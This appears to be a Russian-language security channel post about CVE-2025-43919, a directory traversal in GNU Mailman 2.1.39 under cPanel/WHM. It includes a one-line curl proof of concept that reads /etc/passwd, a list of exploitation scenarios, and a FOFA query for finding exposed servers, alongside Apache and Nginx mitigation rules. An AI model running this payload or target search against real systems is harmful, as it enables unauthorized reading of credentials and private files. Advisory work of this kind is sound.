CVE-2025-43919-POC

🚨 CVE-2025-43919: Обход каталога в GNU Mailman 2.1.39 (cPanel/WHM)

В GNU Mailman 2.1.39, поставляемом с cPanel/WHM, обнаружена новая уязвимость, позволяющая неавторизованным удалённым злоумышленникам читать произвольные файлы на сервере через обход каталога.

📌 Сводка по уязвимости:

• Тип: Directory Traversal (без аутентификации)
• Компонент: CGI-скрипт private.py
• Затронутый эндпоинт: /mailman/private/mailman
• Воздействие: раскрытие таких файлов, как /etc/passwd, .mbox archives и Mailman configs
• Оценка CVSS: 5.8 (Medium)
• ID CVE: CVE-2025-43919

Статус: официального исправления нет (Mailman 2.1.x — EOL)

🔥 PoC:

curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." \
http://target/mailman/private/mailman

🧨 Сценарии эксплуатации:

• Слить /etc/passwd, configs или mailbox files
• Раскрыть учётные данные и чувствительные архивы
• Скомбинировать с другими багами для RCE или повышения привилегий

🛡️ Меры по смягчению: Заблокируйте доступ к /mailman/private на уровне веб-сервера:

<Location "/mailman/private">
    Require ip 127.0.0.1
    Deny from all
</Location>

Или в Nginx:

location /mailman/private {
    deny all;
    return 403;
}

⬆️ Переходите на Mailman 3.x — 2.x — EOL и не имеет современных средств защиты

🔍 Поисковый запрос FOFA : app="Mailman"

📚 Узнавайте больше, делитесь ответственно и держите свою инфраструктуру в безопасности.

🔒 Подписывайтесь на новые реальные CVE, PoC и советы по укреплению защиты: 👉 @cybersecplayground

#bugbounty #infosec #exploit #pentest #cve2025 #directorytraversal #linuxsecurity